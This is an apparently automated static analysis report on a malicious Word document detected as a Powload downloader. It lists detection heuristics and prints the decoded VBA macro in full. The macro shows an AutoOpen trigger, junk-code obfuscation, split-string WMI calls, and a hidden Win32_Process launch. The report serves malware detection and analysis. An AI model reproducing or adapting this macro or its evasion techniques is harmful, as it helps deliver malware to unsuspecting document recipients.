Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5943cddfd81d8e1…

MALICIOUS

Office (OLE)

145.2 KB Created: 2019-05-03 21:55:00 Authoring application: Microsoft Office Word First seen: 2021-04-01
MD5: 4342361b7327cbe51b5e6f8d72859a0d SHA-1: 1a0865236ad0e28cf7f54b41e82670e6f71890c7 SHA-256: b5943cddfd81d8e13ebc274ab01b43b892335e54df790fbf375dec25d70437a5
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6961315-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6961315-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set G3902_6 = i18_515(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set G3902_6 = i18_515(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set G3902_6 = i18_515(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8759 bytes
SHA-256: ae073a3e545bef0b66e6cc3e5666f5c83a783a941b5cb27f2cb0955feaf44855
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "d712__"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "N8_64592"
Attribute VB_Base = "0{12908BA0-D18C-4898-BC1C-ED36147FB20A}{84D3D19F-7BE2-428C-82CF-47FB5FC80F99}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z_89869"

Attribute VB_Name = "T5613799"

Attribute VB_Name = "Q11008__"
Attribute VB_Base = "0{23B35B63-1B32-4B96-B812-CFA772A5684D}{0347CBD8-4399-40BA-BFD9-084AD34AE0BF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q_621608"
Function i18_515(v0186062)
   With u0__74
'.w52303 = (Log(P350825_) + 375796158 * m3441_6)
'.V573_8 = (Log(D0853_4) + 988937571 * O574468)
'.h2134764 = (Log(J_14006) + 242948571 * O_49633)
'.I26092 = (Log(j5998652) + 533639084 * i59366)
End With
   With I1135_58
'.c_51457 = (Log(V22708_) + 906257309 * z8570867)
'.o341_35 = (Log(T594529) + 613823909 * m264979)
'.Z490030 = (Log(G77487_5) + 239834350 * V110__)
'.t65221 = (Log(i70270_6) + 42914588 * b_45461)
End With
   With R915_386
'.m9141748 = (Log(A904162_) + 198728396 * G61492)
'.z843901 = (Log(r06309) + 994052382 * K90_99)
'.j41_3583 = (Log(k615_4) + 50717053 * N948135)
'.b1079138 = (Log(d59_28) + 295795554 * p07085)
End With
Set i18_515 = CVar(v0186062)
   With C905_98
'.B841971 = (Log(B32_89) + 904751265 * k67__64)
'.z80096 = (Log(F88506) + 180956147 * X56457)
'.Y292898 = (Log(C442683) + 326657343 * B30_54)
'.z_071_ = (Log(S136_1) + 99200375 * s31_94_)
End With
   With R8259098
'.M3808186 = (Log(j758727) + 654799691 * i456_3)
'.n71471 = (Log(a997692) + 368711738 * W63463)
'.O002_665 = (Log(Z415_2) + 589736751 * w80312_9)
'.U2047907 = (Log(N211101_) + 35973422 * n84_45)
End With
   With C8655_
'.E_169618 = (Log(o0_423) + 3054838 * v15406)
'.z3699348 = (Log(D_83541) + 786799010 * R6_9558)
'.h2178158 = (Log(i7877_) + 243122800 * f131075)
'.p4465_ = (Log(z4_3_86) + 763868307 * k_492114)
End With
End Function
Sub autoopen()
On Error Resume Next
   With D48203
'.p467330 = (Log(i232928) + 787053149 * i6320828)
'.f_530669 = (Log(c_37379) + 121653556 * i079727)
'.t168207 = (Log(O38087) + 321988586 * j03014)
'.n5778_4 = (Log(S13288) + 830272381 * J_8216__)
End With
   With w_32923
'.u_11992 = (Log(Z_2002) + 328916814 * q63849)
'.v3_8050_ = (Log(w85786) + 245699092 * Z469406)
'.V274300_ = (Log(f73___5) + 375788776 * s96343)
'.T794436 = (Log(h579890) + 530463920 * V60069)
End With
   With k5__457
'.X88187_ = (Log(C548976) + 319704041 * c_1_45)
'.o29_78_1 = (Log(u7251_) + 122103728 * j_750611)
'.l57403_ = (Log(r89904) + 415989933 * F0101798)
'.r5683719 = (Log(K323_5) + 172976327 * l16110)
End With
Call O435__4
   With A731309
'.i97765_ = (Log(z93079) + 692635103 * d636572)
'.G948168 = (Log(c30021) + 296634778 * M63643)
'.S434166 = (Log(U9389266) + 137189961 * j43336_)
'.f51872 = (Log(u6841486) + 882633697 * T813659)
End With
   With G67_63
'.n52007 = (Log(S46500) + 647346944 * D90_1066)
'.k22818 = (Log(f16871) + 626098314 * U327_831)
'.S867535_ = (Log(h59491) + 836145460 * L042_23)
'.o6079_2 = (Log(U25317) + 659707532 * X9900981)
End With
   With d628937
'.P4__4_43 = (Log(B756447) + 75783130 * R_236_)
'.I820977 = (Log(Y62_1316) + 767779098 * F55_8984)
'.Y5881462 = (Log(v8627634) + 664522384 * k5569433)
'.N61_2631 = (Log(S_9_503) + 308162497 * T8119_3)
End With
End Sub

Attribute VB_Name = "Q_908362"
Function O435__4()
On Error Resume Next
   With E3_22029
'.F430835 = (Log(G71536) + 157230482 * Y_0_000)
'.n0_3298 = (Log(M62__159) + 558350890 * J2436647)
'.S_68805 = (Log(P950_95) + 511634719 * b1494487)
'.j5273077 = (Log(K_0202) + 741076525 * a2_4984)
End With
   With O8748762
'.W9_785_6 = (Log(u612__) + 415073530 * Q287_4)
'.a0626024 = (Log(c518785) + 209253192 * P05_6839)
'.z46867 = (Log(W8_984) + 869720791 * f71294)
'.j668974 = (Log(i3043_) + 422776077 * N0732248)
End With
Set G3902_6 = i18_515(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
   With f3204_32
'.E_75623 = (Log(q0810521) + 913016045 * L237264)
'.X51866 = (Log(t21496) + 246330771 * L7253474)
'.m1410925 = (Log(z6561290) + 84578430 * z6548393)
'.S362172 = (Log(h103983) + 637656143 * b94939)
End With
   With C482008
'.C98266 = (Log(P0838646) + 705716039 * t088799)
'.d399_242 = (Log(o3243_23) + 671801364 * C508_55)
'.S82421 = (Log(M7231063) + 778368337 * k672766)
'.A_8_2551 = (Log(I203_183) + 12659244 * b30_479)
End With
   With I7433674
'.l__280 = (Log(f_6_4776) + 810036095 * V314_69)
'.V893434 = (Log(h_08594) + 953932161 * d16028_)
'.h_80527 = (Log(P72371) + 159282571 * k04___3_)
'.q8654845 = (Log(X70938) + 8354300 * X686_3)
End With
f7807050 = vbError - vbError
   With l76982
'.q80_3_33 = (Log(E720244) + 796988369 * Y2598683)
'.H89868 = (Log(w8670086) + 736537236 * R940_384)
'.n41406 = (Log(X5536036) + 878322629 * G29_575)
'.p6951734 = (Log(w44844) + 398286608 * V75468)
End With
   With F5_82845
'.M4828028 = (Log(S__9_868) + 338358048 * i97311)
'.i37256 = (Log(o7_882_5) + 58080225 * D3992777)
'.u80369 = (Log(r7480825) + 868365533 * s33020_)
'.Y790980 = (Log(W24583) + 642537048 * Q1798_1)
End With
   With S796862_
'.j755339 = (Log(O266_1) + 222428143 * C_2_7798)
'.W25_0844 = (Log(W69652) + 739801776 * i56581)
'.k_97670 = (Log(u38989) + 168268529 * b27760)
'.w6_9802 = (Log(T360__2) + 212115507 * J6_7485)
End With
s509841 = N8_64592.B427842.ControlTipText + Q11008__.L6_4_2 + N8_64592.B427842.ControlTipText + Q11008__.a4094868 + N8_64592.B427842.ControlSource + N8_64592.B427842.PasswordChar + Q11008__.A25339 + N8_64592.B427842.ControlTipText + N8_64592.B427842.ControlTipText + Q11008__.O57940 + N8_64592.B427842 + Q11008__.f175170 + N8_64592.B427842.PasswordChar
   With m4601449
'.u1275_69 = (Log(F040023) + 19483937 * v77627)
'.v46622 = (Log(L96089) + 544669073 * k_7_13)
'.w14675 = (Log(U022783) + 141619855 * W6672103)
'.r202932 = (Log(p748440) + 369991034 * A856293)
End With
   With O75_3931
'.O064464 = (Log(w9976295) + 620274844 * P24_48_)
'.O0796040 = (Log(d69749) + 862455781 * j00_11)
'.c61775 = (Log(D211890) + 347424969 * w66_357)
'.u50783 = (Log(S18_2_23) + 563957693 * f01675)
End With
G3902_6. _
ShowWindow = f7807050 + f7807050 + f7807050
   With Q294559
'.L68881 = (Log(v972917) + 532835983 * U398_031)
'.n54557_5 = (Log(P5971521) + 292263785 * n8499476)
'.i468662 = (Log(D2_06_) + 502283189 * f92928_)
'.j8350048 = (Log(w70142) + 445267947 * o0932__1)
End With
   With P71_2_1
'.h1709120 = (Log(T_859279) + 522636409 * l225547)
'.H39455 = (Log(J11357) + 930940782 * D59378)
'.v05558 = (Log(K822515) + 18923061 * a354638)
'.G82778 = (Log(i889459) + 213940436 * d01199_2)
End With
   With E588775_
'.Q496664 = (Log(v085_97) + 338750340 * z9692_12)
'.j1250672 = (Log(s206793) + 959676266 * o333100)
'.d6465809 = (Log(X264800) + 896202230 * R91_62)
'.s5182552 = (Log(Y98_059) + 177776166 * c5210449)
End With
   With i8662074
'.k568924 = (Log(u19_242) + 657908866 * Y6912527)
'.V858931 = (Log(X824838) + 224731552 * s20074__)
'.O867023 = (Log(I04230) + 202833038 * C05330)
'.b99403 = (Log(J03666_) + 4563713 * t618_5_0)
End With
Set V989337 = i18_515(GetObject("winmgmt" + "s:Wi" + "n32_Process"))
   With N2__69
'.w93758 = (Log(j6_3139) + 191133525 * n_4082)
'.c3655321 = (Log(w10977) + 297904219 * z29203)
'.n8111582 = (Log(P182_6) + 789680099 * T_59742)
'.n172154 = (Log(A082806) + 57900 * s24578_)
End With
   With Y8_22485
'.q808399 = (Log(Q9_79286) + 419257923 * v41987)
'.C2074_28 = (Log(n936401) + 347681150 * U92956)
'.i2_85_0 = (Log(F777640) + 666146343 * X1385__5)
'.E39481 = (Log(F44765_) + 741089385 * v5428736)
End With
V989337.Create i677950 + s509841 + v52375, d0871360, G3902_6, b3137915
   With R9_34907
'.H4814855 = (Log(a19_76_) + 468079613 * H1_8690)
'.G0452_ = (Log(J93456) + 583188091 * V9883_9)
'.F4176032 = (Log(L881_69) + 663182878 * k75024)
'.c0_6_50 = (Log(j44244) + 984136187 * n9836314)
End With
   With i12_70
'.j578945 = (Log(q_5907_) + 843935493 * I0115_)
'.c5_614 = (Log(V429513) + 382330648 * A6514190)
'.c4287109 = (Log(v286388) + 375768718 * j849_8)
'.B083749 = (Log(Y34368) + 440640782 * n00855_7)
End With
End Function

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